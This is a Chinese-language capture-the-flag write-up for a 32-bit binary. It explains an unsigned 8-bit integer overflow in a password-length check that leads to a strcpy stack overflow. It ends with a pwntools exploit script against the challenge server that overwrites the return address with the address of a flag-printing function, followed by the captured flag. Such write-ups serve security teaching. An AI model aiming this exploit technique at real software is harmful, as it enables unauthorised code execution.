checksec 查看保護(hù)機(jī)制

可直接使用棧溢出;基地址不變化;棧中數(shù)據(jù)有執(zhí)行權(quán)限;
分析思路
32位文件,按流程查看程序,main()無突破點(diǎn)。
進(jìn)入login(),限制username長(zhǎng)度最大0x19;限制passwd長(zhǎng)度最大0x199;
進(jìn)入check_passwd(),v3存儲(chǔ)passwd長(zhǎng)度,滿足if語句3<v3<=8可跳到else語句。
此處有突破點(diǎn):v3類型為unsigned __int8,,取值范圍0~255,而v3存儲(chǔ)的passwd最大為0x199,即409.遠(yuǎn)大于v3取值范圍。此處為典型整數(shù)溢出。
綜上:if語句中的v3范圍為(3,8]或[259,264] (最大為255,若使其溢出,則需再加四字節(jié),__int8 是指8bit)
溢出之后到達(dá)else語句,函數(shù)返回 strcpy(dest,s),dest為字符串拷貝目的棧,長(zhǎng)度為0x14。

在字符串中發(fā)現(xiàn)cat flag,屬于函數(shù) what_is_this(),地址為0x0804868B.
攻擊思路
可以利用棧溢出,令passwd直接覆蓋dest,直接使函數(shù)返回what_is_this()。
在字符拷貝過程中,輸入0x14個(gè)字符,可覆蓋函數(shù)返回地址,具體是否為0x14個(gè)字符,現(xiàn)在查看匯編語言:


在字符串拷貝前,先將拷貝原地址和目的地址壓入堆棧,在函數(shù)最開始?jí)喝雃bp變量,在函數(shù)結(jié)尾存在leave指令,在32位程序中,leave指令等于mov esp,ebp和pop ebp。即:在覆蓋函數(shù)返回地址前,還有一次出棧操作,數(shù)值4字節(jié)。即覆蓋之前還需將這4字節(jié)覆蓋。隨機(jī)選取數(shù)值262.
(what_is_this()函數(shù)的地址為4字節(jié))
262-0x14-4-4=234
或者,我在gdb中調(diào)試程序,在strcpy下斷點(diǎn),passwd填上‘a(chǎn)’*262,觀察到ebp值為4字節(jié)。

exp:
from pwn import*
sh=remote('111.198.29.45',39118)
sh.recvuntil('Your choice:')
flag=0x0804868B
sh.sendline('1')
sh.recvuntil('username:')
sh.sendline('z')
sh.recvuntil('passwd:')
payload='a'*0x14+'aaaa'+p32(flag)+'a'*234
sh.sendline(payload)
sh.interactive()
cyberpeace{2a2d92a084e034be9c3a03bbab4f149b}